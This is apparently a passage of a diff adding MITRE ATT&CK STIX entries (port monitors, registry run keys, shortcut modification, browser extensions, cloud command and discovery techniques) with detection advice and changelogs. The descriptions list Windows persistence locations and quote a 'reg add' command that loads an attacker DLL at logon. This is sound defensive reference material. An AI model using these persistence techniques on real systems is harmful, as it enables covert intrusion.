"dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0008: Kernel (Kernel Module Load)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 19:46:27.750000+00:00", + "modified": "2024-09-12 15:26:17.886000+00:00", + "name": "Port Monitors", + "description": "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot.(Citation: Bloxham) \n\nAlternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to the `Driver` value of an existing or new arbitrarily named subkey of HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. The Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547/010", + "external_id": "T1547.010" + }, + { + "source_name": "Bloxham", + "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014.", + "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf" + }, + { + "source_name": "AddMonitor", + "description": "Microsoft. (n.d.). AddMonitor function. Retrieved September 12, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/printdocs/addmonitor" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Stefan Kanthak", + "Travis Smith, Tripwire", + "Harun K\u00fc\u00dfner" + ], + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "File: File Creation", + "Module: Module Load", + "Process: OS API Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \n\nMonitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors, paying particular attention to changes in the \"Driver\" subkey. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_effective_permissions": [ + "SYSTEM" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "SYSTEM", + "Administrator" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:26:17.886000+00:00\", \"old_value\": \"2024-04-12 02:49:39.980000+00:00\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Microsoft. (n.d.). AddMonitor function. Retrieved September 12, 2024.\", \"old_value\": \"Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://learn.microsoft.com/en-us/windows/win32/printdocs/addmonitor\", \"old_value\": \"http://msdn.microsoft.com/en-us/library/dd183341\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0011: Module (Module Load)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-23 22:02:48.566000+00:00", + "modified": "2024-09-12 15:27:58.051000+00:00", + "name": "Registry Run Keys / Startup Folder", + "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run automatically for the currently logged-on user.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547/001", + "external_id": "T1547.001" + }, + { + "source_name": "Malwarebytes Wow6432Node 2016", + "description": "Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020.", + "url": "https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/" + }, + { + "source_name": "Microsoft Wow6432Node 2018", + "description": "Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020.", + "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry" + }, + { + "source_name": "Microsoft Run Key", + "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys" + }, + { + "source_name": "Oddvar Moe RunOnceEx Mar 2018", + "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.", + "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Oddvar Moe, @oddvarmoe", + "Dray Agha, @Purp1eW0lf, Huntress Labs", + "Harun K\u00fc\u00dfner" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:27:58.051000+00:00\", \"old_value\": \"2023-10-16 09:08:22.319000+00:00\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.\", \"old_value\": \"Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys\", \"old_value\": \"http://msdn.microsoft.com/en-us/library/aa376977\"}}}", + "previous_version": "2.0", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 19:00:32.917000+00:00", + "modified": "2024-10-15 13:41:16.110000+00:00", + "name": "Shortcut Modification", + "description": "Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.\n\nShortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch malware.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547/009", + "external_id": "T1547.009" + }, + { + "source_name": "Shortcut for Persistence ", + "description": "Elastic. (n.d.). Shortcut File Written or Modified for Persistence. Retrieved June 1, 2022.", + "url": "https://www.elastic.co/guide/en/security/7.17/shortcut-file-written-or-modified-for-persistence.html#shortcut-file-written-or-modified-for-persistence" + }, + { + "source_name": "BSidesSLC 2020 - LNK Elastic", + "description": "French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020.", + "url": "https://www.youtube.com/watch?v=nJ0UsyiUEqQ" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "David French, Elastic", + "Bobby, Filar, Elastic", + "Travis Smith, Tripwire" + ], + "x_mitre_data_sources": [ + "File: File Modification", + "Process: Process Creation", + "File: File Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nMonitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 13:41:16.110000+00:00\", \"old_value\": \"2023-03-30 21:01:49.848000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management" + ], + "new": [ + "M1022: Restrict File and Directory Permissions", + "M1038: Execution Prevention" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16 16:13:52.465000+00:00", + "modified": "2024-09-12 19:48:15.871000+00:00", + "name": "Browser Extensions", + "description": "Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1176", + "external_id": "T1176" + }, + { + "source_name": "Chrome Extension Crypto Miner", + "description": "Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.", + "url": "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/" + }, + { + "source_name": "xorrior chrome extensions macOS", + "description": "Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.", + "url": "https://www.xorrior.com/No-Place-Like-Chrome/" + }, + { + "source_name": "Chrome Extensions Definition", + "description": "Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.", + "url": "https://developer.chrome.com/extensions" + }, + { + "source_name": "ICEBRG Chrome Extensions", + "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.", + "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses" + }, + { + "source_name": "Malicious Chrome Extension Numbers", + "description": "Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.", + "url": "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf" + }, + { + "source_name": "Chrome Extension C2 Malware", + "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved September 12, 2024.", + "url": "https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/" + }, + { + "source_name": "Catch All Chrome Extension", + "description": "Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.", + "url": "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)" + }, + { + "source_name": "Banker Google Chrome Extension Steals Creds", + "description": "Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.", + "url": "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/" + }, + { + "source_name": "Browser Adrozek", + "description": "Microsoft Threat Intelligence. (2020, December 10). Widespread malware campaign seeks to silently inject ads into search results, affects multiple browsers. Retrieved February 26, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2020/12/10/widespread-malware-campaign-seeks-to-silently-inject-ads-into-search-results-affects-multiple-browsers/" + }, + { + "source_name": "Browers FriarFox", + "description": "Raggi, Michael. Proofpoint Threat Research Team. (2021, February 25). TA413 Leverages New FriarFox Browser Extension to Target the Gmail Accounts of Global Tibetan Organizations. Retrieved February 26, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global" + }, + { + "source_name": "Stantinko Botnet", + "description": "Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.", + "url": "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/" + }, + { + "source_name": "Wikipedia Browser Extension", + "description": "Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.", + "url": "https://en.wikipedia.org/wiki/Browser_extension" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Chris Ross @xorrior", + "Justin Warner, ICEBRG", + "Manikantan Srinivasan, NEC Corporation India" + ], + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Creation", + "Process: Process Creation", + "Command: Command Execution", + "File: File Creation", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nOn macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:48:15.871000+00:00\", \"old_value\": \"2024-04-18 23:22:37.874000+00:00\"}, \"root['external_references'][6]['description']\": {\"new_value\": \"Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved September 12, 2024.\", \"old_value\": \"Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017.\"}, \"root['external_references'][6]['url']\": {\"new_value\": \"https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/\", \"old_value\": \"https://kjaer.io/extension-malware/\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1033: Limit Software Installation", + "M1038: Execution Prevention", + "M1047: Audit", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0029: Network Traffic (Network Connection Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d94b3ae9-8059-4989-8e9f-ea0f601f80a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-13 15:26:11.741000+00:00", + "modified": "2024-10-15 13:42:42.543000+00:00", + "name": "Cloud Administration Command", + "description": "Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. (Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)\n\nIf an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment\u2019s virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1651", + "external_id": "T1651" + }, + { + "source_name": "AWS Systems Manager Run Command", + "description": "AWS. (n.d.). AWS Systems Manager Run Command. Retrieved March 13, 2023.", + "url": "https://docs.aws.amazon.com/systems-manager/latest/userguide/run-command.html" + }, + { + "source_name": "MSTIC Nobelium Oct 2021", + "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.", + "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/" + }, + { + "source_name": "Microsoft Run Command", + "description": "Microsoft. (2023, March 10). Run scripts in your VM by using Run Command. Retrieved March 13, 2023.", + "url": "https://learn.microsoft.com/en-us/azure/virtual-machines/run-command-overview" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Cisco", + "Nichols Jasper", + "Jared Wilson", + "Caio Silva", + "Adrien Bataille", + "Anders Vejlby", + "Nader Zaveri", + "Tamir Yehuda" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "Script: Script Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 13:42:42.543000+00:00\", \"old_value\": \"2024-04-12 03:27:48.171000+00:00\"}}}", + "previous_version": "2.0", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-08-20 17:51:25.671000+00:00", + "modified": "2024-09-30 13:28:37.415000+00:00", + "name": "Cloud Infrastructure Discovery", + "description": "An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket\u2019s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1580", + "external_id": "T1580" + }, + { + "source_name": "Expel IO Evil in AWS", + "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.", + "url": "https://expel.io/blog/finding-evil-in-aws/" + }, + { + "source_name": "AWS Head Bucket", + "description": "Amazon Web Services. (n.d.). AWS HeadBucket. Retrieved February 14, 2022.", + "url": 